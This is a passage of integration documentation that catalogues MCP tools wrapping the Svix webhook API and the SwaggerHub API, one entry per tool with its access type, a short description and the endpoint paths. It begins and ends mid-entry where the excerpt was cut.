/api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}/headers. Scopes: api. svix_get_api_v1_stream_by_stream_id_sink_by_sink_id_secret (read) — Get the sink's signing secret (only supported for http sinks) This is used to verify the authenticity of the delivery. For more information please refer to the consuming webhooks docs. via GET /api/v1/stream/{stream_id}/sink/{sink_id}/secret GET /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}/secret. Scopes: api. svix_get_api_v1_stream_by_stream_id_sink_by_sink_id_transformation (read) — Get the transformation code associated with this sink. via GET /api/v1/stream/{stream_id}/sink/{sink_id}/transformation GET /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}/transformation. Scopes: api. svix_get_api_v1_stream_event_type (read) — List of all the organization's event types for streaming. via GET /api/v1/stream/event-type GET /api/v1/svix/api/v1/stream/event-type. Scopes: api. svix_get_api_v1_stream_event_type_by_name (read) — Get an event type. via GET /api/v1/stream/event-type/{name} GET /api/v1/svix/api/v1/stream/event-type/{name}. Scopes: api. svix_get_ingest_api_v1_source (read) — List of all the organization's Ingest Sources. via GET /ingest/api/v1/source GET /api/v1/svix/ingest/api/v1/source. Scopes: api. svix_get_ingest_api_v1_source_by_source_id (read) — Get an Ingest Source by id or uid. via GET /ingest/api/v1/source/{source_id} GET /api/v1/svix/ingest/api/v1/source/{source_id}. Scopes: api. svix_get_ingest_api_v1_source_by_source_id_endpoint (read) — List ingest endpoints. via GET /ingest/api/v1/source/{source_id}/endpoint GET /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint. Scopes: api. svix_get_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id (read) — Get an ingest endpoint. via GET /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id} GET /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}. Scopes: api. svix_get_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id_headers (read) — Get the additional headers to be sent with the ingest. via GET /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/headers GET /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/headers. Scopes: api. svix_get_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id_secret (read) — Get an ingest endpoint's signing secret. This is used to verify the authenticity of the webhook. For more information please refer to the consuming webhooks docs. via GET /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/secret GET /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/secret. Scopes: api. svix_get_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id_transformation (read) — Get the transformation code associated with this ingest endpoint. via GET /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/transformation GET /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/transformation. Scopes: api. svix_patch_api_v1_app_by_app_id (write) — Partially update an application. via PATCH /api/v1/app/{app_id} PATCH /api/v1/svix/api/v1/app/{app_id}. Scopes: api. svix_patch_api_v1_app_by_app_id_destination_by_destination_id (write) — Partially update a destination. Plan: polling, FIFO, message-broker and database destination types are Enterprise features (svix.com/pricing, fetched 2026-09-13); the error a lower plan receives is unmeasured. via PATCH /api/v1/app/{app_id}/destination/{destination_id} PATCH /api/v1/svix/api/v1/app/{app_id}/destination/{destination_id}. Scopes: api. svix_patch_api_v1_app_by_app_id_destination_by_destination_id_transformation (write) — Set or unset the transformation code associated with this destination. via PATCH /api/v1/app/{app_id}/destination/{destination_id}/transformation PATCH /api/v1/svix/api/v1/app/{app_id}/destination/{destination_id}/transformation. Scopes: api. svix_patch_api_v1_app_by_app_id_endpoint_by_endpoint_id (write) — Partially update an endpoint. via PATCH /api/v1/app/{app_id}/endpoint/{endpoint_id} PATCH /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}. Scopes: api. svix_patch_api_v1_app_by_app_id_endpoint_by_endpoint_id_headers (write) — Partially set the additional headers to be sent with the webhook. via PATCH /api/v1/app/{app_id}/endpoint/{endpoint_id}/headers PATCH /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/headers. Scopes: api. svix_patch_api_v1_app_by_app_id_endpoint_by_endpoint_id_transformation (write) — Set or unset the transformation code associated with this endpoint. via PATCH /api/v1/app/{app_id}/endpoint/{endpoint_id}/transformation PATCH /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/transformation. Scopes: api. svix_patch_api_v1_connector_by_connector_id (write) — Partially update a connector. via PATCH /api/v1/connector/{connector_id} PATCH /api/v1/svix/api/v1/connector/{connector_id}. Scopes: api. svix_patch_api_v1_event_type_by_event_type_name (write) — Partially update an event type. via PATCH /api/v1/event-type/{event_type_name} PATCH /api/v1/svix/api/v1/event-type/{event_type_name}. Scopes: api. svix_patch_api_v1_stream_by_stream_id (write) — Partially update a stream. via PATCH /api/v1/stream/{stream_id} PATCH /api/v1/svix/api/v1/stream/{stream_id}. Scopes: api. svix_patch_api_v1_stream_by_stream_id_sink_by_sink_id (write) — Partially update a sink. via PATCH /api/v1/stream/{stream_id}/sink/{sink_id} PATCH /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}. Scopes: api. svix_patch_api_v1_stream_by_stream_id_sink_by_sink_id_headers (write) — Updates the Sink's headers. Only valid for `http` or `otelTracing` sinks. via PATCH /api/v1/stream/{stream_id}/sink/{sink_id}/headers PATCH /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}/headers. Scopes: api. svix_patch_api_v1_stream_by_stream_id_sink_by_sink_id_transformation (write) — Set or unset the transformation code associated with this sink. via PATCH /api/v1/stream/{stream_id}/sink/{sink_id}/transformation PATCH /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}/transformation. Scopes: api. svix_patch_api_v1_stream_event_type_by_name (write) — Patch an event type for Streams. via PATCH /api/v1/stream/event-type/{name} PATCH /api/v1/svix/api/v1/stream/event-type/{name}. Scopes: api. svix_patch_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id_transformation (write) — Set or unset the transformation code associated with this ingest endpoint. via PATCH /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/transformation PATCH /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/transformation. Scopes: api. svix_post_api_v1_app (write) — Create a new application. via POST /api/v1/app POST /api/v1/svix/api/v1/app. Scopes: api. svix_post_api_v1_app_by_app_id_autoconfig (write) — Create an AutoConfig subscription. via POST /api/v1/app/{app_id}/autoconfig POST /api/v1/svix/api/v1/app/{app_id}/autoconfig. Scopes: api. svix_post_api_v1_app_by_app_id_autoconfig_by_autoconfig_id_rotate (write) — Rotate the auth token and signing secret for an AutoConfig subscription. via POST /api/v1/app/{app_id}/autoconfig/{autoconfig_id}/rotate POST /api/v1/svix/api/v1/app/{app_id}/autoconfig/{autoconfig_id}/rotate. Scopes: api. svix_post_api_v1_app_by_app_id_destination (write) — Creates a new destination. Plan: polling, FIFO, message-broker and database destination types are Enterprise features (svix.com/pricing, fetched 2026-09-13); the error a lower plan receives is unmeasured. via POST /api/v1/app/{app_id}/destination POST /api/v1/svix/api/v1/app/{app_id}/destination. Scopes: api. svix_post_api_v1_app_by_app_id_endpoint (write) — Create a new endpoint for the application. When `secret` is `null` the secret is automatically generated (recommended). via POST /api/v1/app/{app_id}/endpoint POST /api/v1/svix/api/v1/app/{app_id}/endpoint. Scopes: api. svix_post_api_v1_app_by_app_id_endpoint_by_endpoint_id_bulk_replay (write) — Bulk replay messages sent to the endpoint. Only messages that were created after `since` will be sent. This will replay both successful, and failed messages A completed task will return a payload like the following: { "id": "qtask_33qen93MNuelBAq1T9G7eHLJRsF", "status": "finished", "task": "endpoint.bulk-replay", "data": { "messagesSent": 2 } } via POST /api/v1/app/{app_id}/endpoint/{endpoint_id}/bulk-replay POST /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/bulk-replay. Scopes: api. svix_post_api_v1_app_by_app_id_endpoint_by_endpoint_id_recover (write) — Resend all failed messages since a given time. Messages that were sent successfully, even if failed initially, are not resent. A completed task will return a payload like the following: { "id": "qtask_33qen93MNuelBAq1T9G7eHLJRsF", "status": "finished", "task": "endpoint.recover", "data": { "messagesSent": 2 } } via POST /api/v1/app/{app_id}/endpoint/{endpoint_id}/recover POST /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/recover. Scopes: api. svix_post_api_v1_app_by_app_id_endpoint_by_endpoint_id_replay_missing (write) — Replays messages to the endpoint. Only messages that were created after `since` will be sent. Messages that were previously sent to the endpoint are not resent. A completed task will return a payload like the following: { "id": "qtask_33qen93MNuelBAq1T9G7eHLJRsF", "status": "finished", "task": "endpoint.replay", "data": { "messagesSent": 2 } } via POST /api/v1/app/{app_id}/endpoint/{endpoint_id}/replay-missing POST /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/replay-missing. Scopes: api. svix_post_api_v1_app_by_app_id_endpoint_by_endpoint_id_secret_rotate (write) — Rotates the endpoint's signing secret. The previous secret will remain valid for the specified grace period (default 24 hours). via POST /api/v1/app/{app_id}/endpoint/{endpoint_id}/secret/rotate POST /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/secret/rotate. Scopes: api. svix_post_api_v1_app_by_app_id_endpoint_by_endpoint_id_send_example (write) — Send an example message for an event. via POST /api/v1/app/{app_id}/endpoint/{endpoint_id}/send-example POST /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/send-example. Scopes: api. svix_post_api_v1_app_by_app_id_integration (write) — Create an integration. via POST /api/v1/app/{app_id}/integration POST /api/v1/svix/api/v1/app/{app_id}/integration. Scopes: api. svix_post_api_v1_app_by_app_id_integration_by_integ_id_key_rotate (write) — Rotate the integration's key. The previous key will be immediately revoked. via POST /api/v1/app/{app_id}/integration/{integ_id}/key/rotate POST /api/v1/svix/api/v1/app/{app_id}/integration/{integ_id}/key/rotate. Scopes: api. svix_post_api_v1_app_by_app_id_msg (write) — Creates a new message and dispatches it to all of the application's endpoints. The `eventId` is an optional custom unique ID. It's verified to be unique only up to a day, after that no verification will be made. If a message with the same `eventId` already exists for the application, a 409 conflict error will be returned. The `eventType` indicates the type and schema of the event. All messages of a certain `eventType` are expected to have the same schema. Endpoints can choose to only listen to specific event types. Messages can also have `channels`, which similar to event types let endpoints filter by them. Unlike event types, messages can have multiple channels, and channels don't imply a specific message content or schema. The `payload` property is the webhook's body (the actual webhook message). Svix supports payload sizes of up to 1MiB, though it's generally a good idea to keep webhook payloads small, probably no larger than 40kb. via POST /api/v1/app/{app_id}/msg POST /api/v1/svix/api/v1/app/{app_id}/msg. Scopes: api. svix_post_api_v1_app_by_app_id_msg_bulk_expunge (write) — Delete the payloads from the given messages under the current application Useful in cases when a message was accidentally sent with sensitive content. A message can't be replayed or resent once its payload has been deleted (or has expired). via POST /api/v1/app/{app_id}/msg/bulk-expunge POST /api/v1/svix/api/v1/app/{app_id}/msg/bulk-expunge. Scopes: api. svix_post_api_v1_app_by_app_id_msg_by_msg_id_endpoint_by_endpoint_id_resend (write) — Resend a message to the specified endpoint. via POST /api/v1/app/{app_id}/msg/{msg_id}/endpoint/{endpoint_id}/resend POST /api/v1/svix/api/v1/app/{app_id}/msg/{msg_id}/endpoint/{endpoint_id}/resend. Scopes: api. svix_post_api_v1_app_by_app_id_msg_expunge_all_contents (write) — Delete all message payloads for the application. This operation is only available in the Enterprise plan. A completed task will return a payload like the following: { "id": "qtask_33qen93MNuelBAq1T9G7eHLJRsF", "status": "finished", "task": "application.purge_content", "data": { "messagesPurged": 150 } } via POST /api/v1/app/{app_id}/msg/expunge-all-contents POST /api/v1/svix/api/v1/app/{app_id}/msg/expunge-all-contents. Scopes: api. svix_post_api_v1_app_by_app_id_msg_precheck_active (write) — A pre-check call for `message.create` that checks whether any active endpoints are listening to this message. Note: most people shouldn't be using this API. Svix doesn't bill you for messages not actually sent, so using this API doesn't save money. If unsure, please ask Svix support before using this API. via POST /api/v1/app/{app_id}/msg/precheck/active POST /api/v1/svix/api/v1/app/{app_id}/msg/precheck/active. Scopes: api. svix_post_api_v1_app_by_app_id_poller_by_sink_id_consumer_by_consumer_id_seek (write) — Sets the starting offset for the consumer of a polling endpoint. Plan: polling endpoints are an Enterprise feature (svix.com/pricing, fetched 2026-09-13). via POST /api/v1/app/{app_id}/poller/{sink_id}/consumer/{consumer_id}/seek POST /api/v1/svix/api/v1/app/{app_id}/poller/{sink_id}/consumer/{consumer_id}/seek. Scopes: api. svix_post_api_v1_auth_app_by_app_id_expire_all (write) — Expire all of the tokens associated with a specific application. via POST /api/v1/auth/app/{app_id}/expire-all POST /api/v1/svix/api/v1/auth/app/{app_id}/expire-all. Scopes: api. svix_post_api_v1_auth_app_portal_access_by_app_id (write) — Use this function to get magic links (and authentication codes) for connecting your users to the Consumer Application Portal. via POST /api/v1/auth/app-portal-access/{app_id} POST /api/v1/svix/api/v1/auth/app-portal-access/{app_id}. Scopes: api. svix_post_api_v1_auth_logout (write) — Logout an app token. Trying to log out other tokens will fail. via POST /api/v1/auth/logout. WITHHELD: Svix only lets that token log itself out, and this connection holds an environment API key (Svix answers 403), so this call is refused before any request is made. POST /api/v1/svix/api/v1/auth/logout. Scopes: api. svix_post_api_v1_auth_stream_by_stream_id_expire_all (write) — Expire all of the tokens associated with a specific stream. via POST /api/v1/auth/stream/{stream_id}/expire-all POST /api/v1/svix/api/v1/auth/stream/{stream_id}/expire-all. Scopes: api. svix_post_api_v1_auth_stream_by_stream_id_sink_by_sink_id_poller_token_rotate (write) — Create a new auth token for the stream poller API. via POST /api/v1/auth/stream/{stream_id}/sink/{sink_id}/poller/token/rotate POST /api/v1/svix/api/v1/auth/stream/{stream_id}/sink/{sink_id}/poller/token/rotate. Scopes: api. svix_post_api_v1_auth_stream_logout (write) — Logout a stream token. Trying to log out other tokens will fail. via POST /api/v1/auth/stream-logout. WITHHELD: Svix only lets that token log itself out, and this connection holds an environment API key (Svix answers 403), so this call is refused before any request is made. POST /api/v1/svix/api/v1/auth/stream-logout. Scopes: api. svix_post_api_v1_auth_stream_portal_access_by_stream_id (write) — Use this function to get magic links (and authentication codes) for connecting your users to the Stream Consumer Portal. via POST /api/v1/auth/stream-portal-access/{stream_id} POST /api/v1/svix/api/v1/auth/stream-portal-access/{stream_id}. Scopes: api. svix_post_api_v1_connector (write) — Create a new connector. via POST /api/v1/connector POST /api/v1/svix/api/v1/connector. Scopes: api. svix_post_api_v1_environment_export (write) — Download a JSON file containing all org-settings and event types. Note that the schema for [`EnvironmentOut`] is subject to change. The fields herein are provided for convenience but should be treated as JSON blobs. via POST /api/v1/environment/export POST /api/v1/svix/api/v1/environment/export. Scopes: api. svix_post_api_v1_environment_import (write) — Import a configuration into the active organization. It doesn't delete anything, only adds / updates what was passed to it. Note that the schema for [`EnvironmentIn`] is subject to change. The fields herein are provided for convenience but should be treated as JSON blobs. via POST /api/v1/environment/import POST /api/v1/svix/api/v1/environment/import. Scopes: api. svix_post_api_v1_event_type (write) — Create new or unarchive existing event type. Unarchiving an event type will allow endpoints to filter on it and messages to be sent with it. Endpoints filtering on the event type before archival will continue to filter on it. This operation does not preserve the description and schemas. via POST /api/v1/event-type POST /api/v1/svix/api/v1/event-type. Scopes: api. svix_post_api_v1_event_type_import_openapi (write) — Given an OpenAPI spec, create new or update existing event types. If an existing `archived` event type is updated, it will be unarchived. The importer will convert all webhooks found in the either the `webhooks` or `x-webhooks` top-level. via POST /api/v1/event-type/import/openapi POST /api/v1/svix/api/v1/event-type/import/openapi. Scopes: api. svix_post_api_v1_operational_webhook_endpoint (write) — Create an operational webhook endpoint. via POST /api/v1/operational-webhook/endpoint POST /api/v1/svix/api/v1/operational-webhook/endpoint. Scopes: api. svix_post_api_v1_operational_webhook_endpoint_by_endpoint_id_secret_rotate (write) — Rotates an operational webhook endpoint's signing secret. The previous secret will remain valid for the specified grace period (default 24 hours). via POST /api/v1/operational-webhook/endpoint/{endpoint_id}/secret/rotate POST /api/v1/svix/api/v1/operational-webhook/endpoint/{endpoint_id}/secret/rotate. Scopes: api. svix_post_api_v1_stats_usage_app (write) — Creates a background task to calculate the number of message attempts (`messageDestinations`) made for all applications in the environment. Note that this endpoint is asynchronous. You will need to poll the `Get Background Task` endpoint to retrieve the results of the operation. The completed background task will return a payload like the following: { "id": "qtask_33qe39Stble9Rn3ZxFrqL5ZSsjT", "status": "finished", "task": "application.stats", "data": { "appStats": [ { "messageDestinations": 2, "appId": "app_33W1An2Zz5cO9SWbhHsYyDmVC6m", "appUid": null } ] } } via POST /api/v1/stats/usage/app POST /api/v1/svix/api/v1/stats/usage/app. Scopes: api. svix_post_api_v1_stream (write) — Creates a new stream. via POST /api/v1/stream POST /api/v1/svix/api/v1/stream. Scopes: api. svix_post_api_v1_stream_by_stream_id_events (write) — Creates events on the Stream. via POST /api/v1/stream/{stream_id}/events POST /api/v1/svix/api/v1/stream/{stream_id}/events. Scopes: api. svix_post_api_v1_stream_by_stream_id_sink (write) — Creates a new sink. via POST /api/v1/stream/{stream_id}/sink POST /api/v1/svix/api/v1/stream/{stream_id}/sink. Scopes: api. svix_post_api_v1_stream_by_stream_id_sink_by_sink_id_secret_rotate (write) — Rotates the signing secret (only supported for http sinks). via POST /api/v1/stream/{stream_id}/sink/{sink_id}/secret/rotate POST /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}/secret/rotate. Scopes: api. svix_post_api_v1_stream_event_type (write) — Create an event type for Streams. via POST /api/v1/stream/event-type POST /api/v1/svix/api/v1/stream/event-type. Scopes: api. svix_post_ingest_api_v1_source (write) — Create Ingest Source. via POST /ingest/api/v1/source POST /api/v1/svix/ingest/api/v1/source. Scopes: api. svix_post_ingest_api_v1_source_by_source_id_dashboard (write) — Get access to the Ingest Source Consumer Portal. via POST /ingest/api/v1/source/{source_id}/dashboard POST /api/v1/svix/ingest/api/v1/source/{source_id}/dashboard. Scopes: api. svix_post_ingest_api_v1_source_by_source_id_endpoint (write) — Create an ingest endpoint. via POST /ingest/api/v1/source/{source_id}/endpoint POST /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint. Scopes: api. svix_post_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id_secret_rotate (write) — Rotates an ingest endpoint's signing secret. The previous secret will remain valid for the specified grace period (default 24 hours). via POST /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/secret/rotate POST /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/secret/rotate. Scopes: api. svix_post_ingest_api_v1_source_by_source_id_token_rotate (write) — Rotate the Ingest Source's Url Token. This will rotate the ingest source's token, which is used to construct the unique `ingestUrl` for the source. Previous tokens will remain valid for 48 hours after rotation. The token can be rotated a maximum of three times within the 48-hour period. via POST /ingest/api/v1/source/{source_id}/token/rotate POST /api/v1/svix/ingest/api/v1/source/{source_id}/token/rotate. Scopes: api. svix_put_api_v1_app_by_app_id (write) — Create or update an application. via PUT /api/v1/app/{app_id} PUT /api/v1/svix/api/v1/app/{app_id}. Scopes: api. svix_put_api_v1_app_by_app_id_destination_by_destination_id (write) — Create or update a destination. Plan: polling, FIFO, message-broker and database destination types are Enterprise features (svix.com/pricing, fetched 2026-09-13); the error a lower plan receives is unmeasured. via PUT /api/v1/app/{app_id}/destination/{destination_id} PUT /api/v1/svix/api/v1/app/{app_id}/destination/{destination_id}. Scopes: api. svix_put_api_v1_app_by_app_id_endpoint_by_endpoint_id (write) — Create or update an endpoint. via PUT /api/v1/app/{app_id}/endpoint/{endpoint_id} PUT /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}. Scopes: api. svix_put_api_v1_app_by_app_id_endpoint_by_endpoint_id_headers (write) — Set the additional headers to be sent with the webhook. via PUT /api/v1/app/{app_id}/endpoint/{endpoint_id}/headers PUT /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/headers. Scopes: api. svix_put_api_v1_app_by_app_id_integration_by_integ_id (write) — Update an integration. via PUT /api/v1/app/{app_id}/integration/{integ_id} PUT /api/v1/svix/api/v1/app/{app_id}/integration/{integ_id}. Scopes: api. svix_put_api_v1_connector_by_connector_id (write) — Create or update a connector. via PUT /api/v1/connector/{connector_id} PUT /api/v1/svix/api/v1/connector/{connector_id}. Scopes: api. svix_put_api_v1_event_type_by_event_type_name (write) — Create or update an event type. via PUT /api/v1/event-type/{event_type_name} PUT /api/v1/svix/api/v1/event-type/{event_type_name}. Scopes: api. svix_put_api_v1_operational_webhook_endpoint_by_endpoint_id (write) — Create or update an operational webhook endpoint. via PUT /api/v1/operational-webhook/endpoint/{endpoint_id} PUT /api/v1/svix/api/v1/operational-webhook/endpoint/{endpoint_id}. Scopes: api. svix_put_api_v1_operational_webhook_endpoint_by_endpoint_id_headers (write) — Set the additional headers to be sent with the operational webhook. via PUT /api/v1/operational-webhook/endpoint/{endpoint_id}/headers PUT /api/v1/svix/api/v1/operational-webhook/endpoint/{endpoint_id}/headers. Scopes: api. svix_put_api_v1_stats_usage_event_types (write) — Creates a background task to calculate the listed event types for all apps in the organization. Note that this endpoint is asynchronous. You will need to poll the `Get Background Task` endpoint to retrieve the results of the operation. The completed background task will return a payload like the following: { "id": "qtask_33qe39Stble9Rn3ZxFrqL5ZSsjT", "status": "finished", "task": "event-type.aggregate", "data": { "event_types": [ { "appId": "app_33W1An2Zz5cO9SWbhHsYyDmVC6m", "explicitlySubscribedEventTypes": ["user.signup", "user.deleted"], "hasCatchAllEndpoint": false } ] } } via PUT /api/v1/stats/usage/event-types PUT /api/v1/svix/api/v1/stats/usage/event-types. Scopes: api. svix_put_api_v1_stream_by_stream_id (write) — Create or update a stream. via PUT /api/v1/stream/{stream_id} PUT /api/v1/svix/api/v1/stream/{stream_id}. Scopes: api. svix_put_api_v1_stream_by_stream_id_sink_by_sink_id (write) — Create or update a sink. via PUT /api/v1/stream/{stream_id}/sink/{sink_id} PUT /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}. Scopes: api. svix_put_api_v1_stream_event_type_by_name (write) — Create or update or create a event type for Streams. via PUT /api/v1/stream/event-type/{name} PUT /api/v1/svix/api/v1/stream/event-type/{name}. Scopes: api. svix_put_ingest_api_v1_source_by_source_id (write) — Create or update an Ingest Source. via PUT /ingest/api/v1/source/{source_id} PUT /api/v1/svix/ingest/api/v1/source/{source_id}. Scopes: api. svix_put_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id (write) — Create or update an ingest endpoint. via PUT /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id} PUT /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}. Scopes: api. svix_put_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id_headers (write) — Set the additional headers to be sent to the endpoint. via PUT /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/headers PUT /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}/headers. Scopes: api. ================================================================================ ## SwaggerHub URL: https://www.agenticfabriq.com/integrations/swaggerhub Section: Integrated Tools SwaggerHub — 99 MCP tools Provider key: swaggerhub. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. swaggerhub_delete_apis_by_owner_by_api (write, destructive) — Delete an API via DELETE https://api.swaggerhub.com/apis/{owner}/{api} DELETE /api/v1/swaggerhub/apis/{owner}/{api}. Scopes: api. swaggerhub_delete_apis_by_owner_by_api_by_version (write, destructive) — Delete an API version via DELETE https://api.swaggerhub.com/apis/{owner}/{api}/{version} DELETE /api/v1/swaggerhub/apis/{owner}/{api}/{version}. Scopes: api. swaggerhub_delete_apis_by_owner_by_api_by_version_comments_by_comment (write, destructive) — Delete a comment (API) via DELETE https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments/{comment} DELETE /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments/{comment}. Scopes: api. swaggerhub_delete_apis_by_owner_by_api_by_version_comments_by_comment_replies_by_reply (write, destructive) — Delete a comment reply (API) via DELETE https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments/{comment}/replies/{reply} DELETE /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments/{comment}/replies/{reply}. Scopes: api. swaggerhub_delete_apis_by_owner_by_api_by_version_integrations_by_integrationid (write, destructive) — Delete an integration via DELETE https://api.swaggerhub.com/apis/{owner}/{api}/{version}/integrations/{integrationId} DELETE /api/v1/swaggerhub/apis/{owner}/{api}/{version}/integrations/{integrationId}. Scopes: api. swaggerhub_delete_domains_by_owner_by_domain (write, destructive) — Delete a domain via DELETE https://api.swaggerhub.com/domains/{owner}/{domain} DELETE /api/v1/swaggerhub/domains/{owner}/{domain}. Scopes: api. swaggerhub_delete_domains_by_owner_by_domain_by_version (write, destructive) — Delete a domain version via DELETE https://api.swaggerhub.com/domains/{owner}/{domain}/{version} DELETE /api/v1/swaggerhub/domains/{owner}/{domain}/{version}. Scopes: api. swaggerhub_delete_domains_by_owner_by_domain_by_version_comments_by_comment (write, destructive) — Delete a comment (domain) via DELETE https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments/{comment} DELETE /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments/{comment}. Scopes: api. swaggerhub_delete_domains_by_owner_by_domain_by_version_comments_by_comment_replies_by_reply (write, destructive) — Delete a comment reply (domain) via DELETE https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments/{comment}/replies/{reply} DELETE /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments/{comment}/replies/{reply}. Scopes: api. swaggerhub_delete_orgs_by_owner_members (write, destructive) — Remove members from an organization via DELETE https://api.swaggerhub.com/user-management/v1/orgs/{owner}/members DELETE /api/v1/swaggerhub/user-management/v1/orgs/{owner}/members. Scopes: api. swaggerhub_delete_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_teams (write, destructive) — Removes access control for teams via DELETE https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams DELETE /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams. Scopes: api. swaggerhub_delete_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_users (write, destructive) — Removes access control for users via DELETE https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users DELETE /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users. Scopes: api. swaggerhub_delete_orgs_by_owner_teams_by_team (write, destructive) — Delete a team via DELETE https://api.swaggerhub.com/user-management/v1/orgs/{owner}/teams/{team} DELETE /api/v1/swaggerhub/user-management/v1/orgs/{owner}/teams/{team}. Scopes: api. swaggerhub_delete_projects_by_owner_by_projectid (write, destructive) — Delete a project via DELETE https://api.swaggerhub.com/projects/{owner}/{projectId} DELETE /api/v1/swaggerhub/projects/{owner}/{projectId}. Scopes: api. swaggerhub_delete_templates_by_owner_by_templateid (write, destructive) — Delete a template via DELETE https://api.swaggerhub.com/templates/{owner}/{templateId} DELETE /api/v1/swaggerhub/templates/{owner}/{templateId}. Scopes: api. swaggerhub_delete_templates_by_owner_by_templateid_by_version (write, destructive) — Delete a particular version of a template via DELETE https://api.swaggerhub.com/templates/{owner}/{templateId}/{version} DELETE /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}. Scopes: api. swaggerhub_get_apis (read) — Search APIs via GET https://api.swaggerhub.com/apis GET /api/v1/swaggerhub/apis. Scopes: api. swaggerhub_get_apis_by_owner (read) — Get a list of APIs of the specified owner via GET https://api.swaggerhub.com/apis/{owner} GET /api/v1/swaggerhub/apis/{owner}. Scopes: api. swaggerhub_get_apis_by_owner_by_api (read) — Get a list of API versions via GET https://api.swaggerhub.com/apis/{owner}/{api} GET /api/v1/swaggerhub/apis/{owner}/{api}. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version (read) — Get the OpenAPI definition of the specified API version via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version} GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version_comments (read) — Get comments for the specified API version via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version_integrations (read) — Get all integrations configured for the specified API version via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version}/integrations GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}/integrations. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version_integrations_by_integrationid (read) — Get integration settings via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version}/integrations/{integrationId} GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}/integrations/{integrationId}. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version_settings_lifecycle (read) — Get the published status for the specified API and version via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version}/settings/lifecycle GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}/settings/lifecycle. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version_settings_private (read) — Get the visibility (public or private) of API version via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version}/settings/private GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}/settings/private. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version_standardization 